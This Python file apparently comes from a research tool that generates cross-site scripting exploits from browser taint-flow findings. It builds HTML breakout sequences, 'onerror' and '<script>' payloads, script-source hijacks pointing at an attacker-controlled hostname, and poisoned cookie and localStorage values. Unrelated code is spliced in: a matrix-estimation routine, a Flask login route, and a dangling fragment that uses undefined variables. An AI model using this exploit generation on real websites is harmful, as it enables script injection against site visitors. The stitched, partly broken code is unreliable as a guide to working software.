def get_complete_exploits(finding, source, value, value_part, payload):
"""
Check whether we have an easy case where a value originating from a source
ends up directly into the sink without any modifications
:param finding: the finding to investigate
:param source: the source from which the flow originates
:param value: the complete value which ended up in the sink
:param value_part: the value part of the currently investigated source
:param payload: the payload which should be executed
:return: list of exploit candidates if a complete flow was found, empty list otherwise
"""
complete_replace_value, complete_replace_with = check_for_complete_flow(value, value_part, payload)
if source["source"] not in [SOURCES.SOURCE_COOKIE, SOURCES.SOURCE_LOCAL_STORAGE,
SOURCES.SOURCE_SESSION_STORAGE] and complete_replace_value:
# Web Attacker
exploit_url = build_reflected_exploit(finding, complete_replace_with, complete_replace_value,
source["source"])
if exploit_url is None:
return []
else:
return [createWebExploit(exploit_url, source["id"])]
elif complete_replace_value:
# Network Attacker
# select the appropriate storage items to look at
if source["source"] == SOURCES.SOURCE_COOKIE:
storage_items = finding["storage"]["cookies"]
else:
storage_items = finding["storage"]["storage"]
if complete_replace_value and complete_replace_with:
# we have a complete flow, just need to find the corresponding keys
matches = find_match(storage_items, complete_replace_value)
complete_exploits = []
for match in matches:
matched_key, matched_value, matched_storage_value, fuzzy, addinfo = match
# not exploitable but widespread
if matched_key in ("_parsely_visitor", "_parsely_session"):
continue
# if the storage value is quoted,
new_replace_with = complete_replace_with
if "quoted" in addinfo:
try:
new_replace_with = quote(complete_replace_with)
except KeyError:
new_replace_with = manual_quote(complete_replace_with)
complete_exploits.append(
createPCXSSExploit(source["source_name"], matched_key, matched_storage_value,
source["id"], matched_value,
new_replace_with))
log("Found a complete flow and could replace it in the storage entry")
return complete_exploits
return []
def synthetic_matching(mod):
print 'Matching..'
col_ind = ut.find_match(mod.p_ch, mod.p_ch_h)
pi_h = mod.pi_h[col_ind]
p_ch_h = mod.p_ch_h[:,col_ind]
T_h = mod.T_h[:, col_ind][col_ind, :]
C_h = mod.C_h[:, col_ind]
#print 'm_hat = \n' + str(mod.m_h)
#print '\nC_h = \n' + str(C_h)
#print '\nT_h = \n' + str(T_h) + '\npi_h = \n' + str(pi_h) + '\np_ch_h = \n' + str(p_ch_h) + '\n'
print '|p_ch_h - p_ch| = ', np.linalg.norm(p_ch_h - mod.p_ch)
print '|T_h - T| = ', np.linalg.norm(T_h - mod.T)
print '|pi_h - pi| = ', np.linalg.norm(pi_h - mod.pi)
err_p = np.linalg.norm(p_ch_h - mod.p_ch)
return p_ch_h, C_h, T_h, pi_h, err_p
def get_html_exploit(finding):
"""
Generate exploits for an HTML executing sink.
:param finding: the finding to investigate
:return: list of exploit candidates
"""
exploits = list()
# our payload is a piece of Javascript, thus we need to prepare it into an HTML payload first
validation_payload = CONFIG.payload
payload = "<img src=foo onerror=%s onload=%s>" % (validation_payload, validation_payload)
# textareas are the easiest way to breakin into HTML
# since they catch anything up to the the closing tag of the current environment
breakin = "<textarea>"
# in instances where we can write script tags we can also simply resort to this simpler case
if finding["sink_id"] in [SINKS.SINK_DOC_WRITE, SINKS.SINK_IFRAME_SRCDOC]:
payload = "<script>%s</script>" % validation_payload
try:
# start generating the appropriate breakouts
parser = HTMLStateMachine()
prior_parsed = 0
# there are findings in which we have plenty sources which are just generating duplicate exploits
# will only be vulnerable if a predecessor is also vulnerable, thus restrict to the 20 first
for source in finding["sources"][:20]:
# the complete value ending up in the sink
value = finding["value"]
# the specific part of the value originating from this source
value_part = source["value_part"]
# skip unreasonable values/sources which are not considered in our exploitation
if source["value_part"] == "?":
continue
if source["source"] not in GENERATE_EXPLOIT_FOR_SOURCES:
log("Skipping source with source_id {}!".format(source["source"]))
continue
if source["hasEscaping"] + source["hasEncodingURI"] + source["hasEncodingURIComponent"] > 0:
log("Skipping source with encoding!")
continue
# offsets in the overall value
taint_start, taint_end = source["start"], source["end"]
# if this is not the case we have encoding problems in which case some bytes might be missing
# thus we need to recalc the offset
if value_part != value[taint_start:taint_end]:
if value.count(value_part) == 1:
taint_start = value.find(value_part)
taint_end = taint_start + len(value_part)
log('Mismatch in taint start info %s %s' % (taint_start, len(value)))
else:
continue
# get the string part which resides between the current source and the prior parsed part of the string
# then feed it into our state machine and use the resulting state as basis to generate the breakout
string_to_parse = finding["value"][prior_parsed:taint_start] + source["value_part"]
prior_parsed = taint_end
log("Getting HTML breakout for %s (%s): %s" % (source["id"], string_to_parse, value_part))
# feeds the string to the parser and then outputs the breakout sequence
breakout_sequence = getHTMLBreakout(parser, string_to_parse)
log("Result: %s" % breakout_sequence)
# TODO (ben) fix this bridge, not only rcxss but also pcxss and if we have only seen / we can do stuff
# check if we are currently in the process of writing the src property of a script tag which we can hijack
if len(parser.opened_tags) > 0:
top_element = parser.opened_tags[0]
if top_element.get("name", "").lower() == 'script' and len(top_element.get("attributes", [])):
if (top_element.get("attributes")[0]).get("name", "") == 'src':
url_so_far = urljoin(finding["url"], top_element["attributes"][0]["value"])
if url_so_far.count("/") < 3:
# we control the origin, woohoo
parsed = urlsplit(url_so_far)
if parsed.netloc in source["value_part"] or source["value_part"] in parsed.netloc:
payload = source["value_part"].replace(parsed.netloc, SCRIPT_SOURCE_HOSTNAME)
breakout_sequence = ""
exploit_url = build_reflected_exploit(finding,
payload,
source["value_part"], source["source"])
if exploit_url:
exploits.append(createWebExploit(exploit_url, source["id"]))
continue
# We have a generated a breaout sequence and can make use of it now
if breakout_sequence is not None:
if source["source"] not in [SOURCES.SOURCE_COOKIE, SOURCES.SOURCE_LOCAL_STORAGE,
SOURCES.SOURCE_SESSION_STORAGE]:
# RCXSS
# assemble the complete exploit candidate
resulting_markup = value[:taint_start] + source[
"value_part"] + breakout_sequence + payload + breakin + value[taint_end:]
assert resulting_markup != value
working_exploit = False
# check for exploitability
try:
soup = BeautifulSoup(resulting_markup, "html5lib")
for script in soup.find_all("script"):
# either we are injected into a script
if script.text:
if script.text == validation_payload:
working_exploit = True
# or part of a script src
if "src" in script.attrs:
parsed = urlsplit(script["src"])
if parsed.netloc.endswith(SCRIPT_SOURCE_HOSTNAME):
working_exploit = True
# or into the onload/onerror of an image
for img in soup.find_all("img"):
if "onload" in img.attrs and img["onload"].strip() == validation_payload:
working_exploit = True
except Exception, e:
log('Error in parsing resulting payload of an HTML exploit {}'.format(e))
# We were not able to find our payload thus also we do not need to validate
if not working_exploit:
log("After substitution of HTML exploit, payload was non functional!")
continue
# we are building exploits for reflected source thus build the respective urls
exploit_url = build_reflected_exploit(finding,
source["value_part"] + breakout_sequence + payload + breakin,
source["value_part"], source["source"])
if exploit_url is None:
log('Unable to generate exploit URL for HTML RCXSS!')
continue
else:
exploits.append(createWebExploit(exploit_url, source["id"]))
else:
# PCXSS
# select the appropriate storage
if source["source"] == SOURCES.SOURCE_COOKIE:
storage_items = finding["storage"]["cookies"]
else:
storage_items = finding["storage"]["storage"]
if len(storage_items) == 0:
matches = None
else:
matches = find_match(storage_items, value_part)
if matches is None and source["source"] == SOURCES.SOURCE_COOKIE and ";" in value_part:
# document.cookie directly into sink
exploits.append(
createPCXSSExploit(source["source_name"], "___foobar___", None, source["id"],
None,
payload + breakin))
elif matches is None:
log('Could not find the respective storage entry for an HTML PCXSS exploit!')
else:
# we actually have matches
for match in matches:
matched_key, matched_value, matched_storage_value, fuzzy, addinfo = match
# TODO merge with above
if matched_key in ("_parsely_visitor", "_parsely_session"):
continue
if is_json(matched_storage_value):
parsed = try_parse_json(matched_storage_value)
else:
parsed = None
# storage value is a dict
if parsed:
replace_value = matched_storage_value
replace_with = recursive_replace(parsed,
source["value_part"],
source["value_part"] + breakout_sequence +
payload + breakin)
replace_with = json.dumps(replace_with)
# the storage value is not a dictionary
else:
replace_value = matched_storage_value
replace_with = replace_value.replace(source["value_part"],
source["value_part"] + breakout_sequence +
payload + breakin)
if "quoted" in addinfo:
try:
replace_with = quote(replace_with)
except KeyError:
replace_with = manual_quote(replace_with)
if replace_with == replace_value:
continue
# FIXME what could possibly go wrong here if you change the payload to something malicious ;)
if "alert" not in replace_with and "persistent" not in replace_with:
log('Failed to find HTML exploit after substitution for PCXSS JS exploit!')
continue
exploits.append(
createPCXSSExploit(source["source_name"], matched_key, matched_storage_value,
source["id"],
replace_value, replace_with))
except Exception as e:
log("ERR {} {}".format(e, finding["finding_id"]))
return exploits
def get_script_src_exploit(finding):
"""
Generate exploit candidates which flow into the script src sink.
:param finding: the finding to analyze
:return: list of exploit candidates
"""
exploits = []
for source in finding["sources"]:
script_src = finding["value"]
if len(source["value_part"]) == 1:
continue
found = False
original_script_src = script_src
# we have found the complete value directly, just substitute it with a hostname under our control
if script_src.startswith(source["value_part"]):
payload = "https://" + SCRIPT_SOURCE_HOSTNAME + '/'
found = True
# check for relative URL
if not script_src.startswith("http"):
script_src = urljoin(finding["url"], script_src)
parsed = urlsplit(script_src)
if parsed.netloc == source["value_part"]:
payload = SCRIPT_SOURCE_HOSTNAME + '/'
found = True
end_of_domain = len(parsed.scheme) + len("://") + len(parsed.netloc)
script_src_diff = len(script_src) - len(original_script_src)
# our value lies somewhere where we can influence the location
if -1 < source["start"] + script_src_diff < end_of_domain:
if source["end"] + script_src_diff < len(parsed.scheme) + len("://"):
# but just in the protocol :(
continue
# replace the netlocation with our hostname
payload = source["value_part"].replace(parsed.netloc, SCRIPT_SOURCE_HOSTNAME)
# if it is not part of the initial value, just try to insert it anyway
if parsed.netloc not in source["value_part"]:
payload = "." + SCRIPT_SOURCE_HOSTNAME + '/'
found = True
# found = True => payload is defined
if found:
# if it is a reflected source, build reflected exploit candidate
if source["source"] not in [SOURCES.SOURCE_COOKIE, SOURCES.SOURCE_LOCAL_STORAGE,
SOURCES.SOURCE_SESSION_STORAGE]:
exploit_urls = build_reflected_exploit(finding, payload, source["value_part"], source["source"])
# if it worked, we cann add it to our found exploits
if exploit_urls is not None:
exploits.append(createWebExploit(exploit_urls, source["id"]))
else:
# build a PCXSS exploit candidate
# fetch the respective storage entries to check for our tainted value
if source["source"] == SOURCES.SOURCE_COOKIE:
storage_items = finding["storage"]["cookies"]
else:
storage_items = finding["storage"]["storage"]
if len(storage_items) == 0:
# we dont have any storage items recorded, so nothing to see
continue
matches = find_match(storage_items, source["value_part"])
# for each match in the storage entries we can generate a candidate
for match in matches:
matched_key, matched_value, matched_storage_value, fuzzy, addinfo = match
if is_json(matched_storage_value):
parsed = try_parse_json(matched_storage_value)
else:
parsed = None
if parsed and matched_storage_value != source["value_part"]:
# we need to replace the whole thing
replace_value = matched_storage_value
replace_with = recursive_replace(parsed,
source["value_part"],
payload)
replace_with = json.dumps(replace_with)
else:
replace_value = matched_storage_value
replace_with = replace_value.replace(source["value_part"],
payload)
if "quoted" in addinfo:
try:
replace_with = quote(replace_with)
except KeyError:
replace_with = manual_quote(replace_with)
# check whether the substitution was indeed successful
if 'alert' not in replace_with and SCRIPT_SOURCE_HOSTNAME not in replace_with:
log("Substitution of script source PCXSS candidate did not work!")
else:
exploits.append(
createPCXSSExploit(source["source_name"], matched_key, matched_storage_value,
source["id"],
replace_value, replace_with))
return exploits
# fetch the appropriate storage entry
if source["source"] == SOURCES.SOURCE_COOKIE:
storage_items = finding["storage"]["cookies"]
elif source["source"] in (SOURCES.SOURCE_LOCAL_STORAGE, SOURCES.SOURCE_SESSION_STORAGE):
storage_items = finding["storage"]["storage"]
else:
storage_items = []
try:
# if the value part consists of a tokenizable JavaScript string we can just substitute our payload
# since there are cases in which data can be tokenized into multiple tokens, especially in the presence of
# numbers we have 10 tokens as a cutoff
parsed = pyesprima.tokenize(value_part)
if len(parsed) > 10:
# likely just it's own JS program
matches = find_match(storage_items, value_part)
for match in matches:
matched_key, matched_value, matched_storage_value, fuzzy, addinfo = match
# again widespread but not vulnerable
if matched_key in ("_parsely_visitor", "_parsely_session"):
continue
exploits.append(
createPCXSSExploit(source["source_name"], matched_key, matched_storage_value,
source["id"],
value_part, CONFIG.payload))
except Exception, e:
# it was not tokenizable so just continue with the normal routine
log(e)
pass
# flow not encoded
def home():
form = LoginForm()
if form.validate_on_submit():
name = form.username.data
return redirect(url_for('matches', match=find_match(name), user=name))
return render_template('home.html', form=form)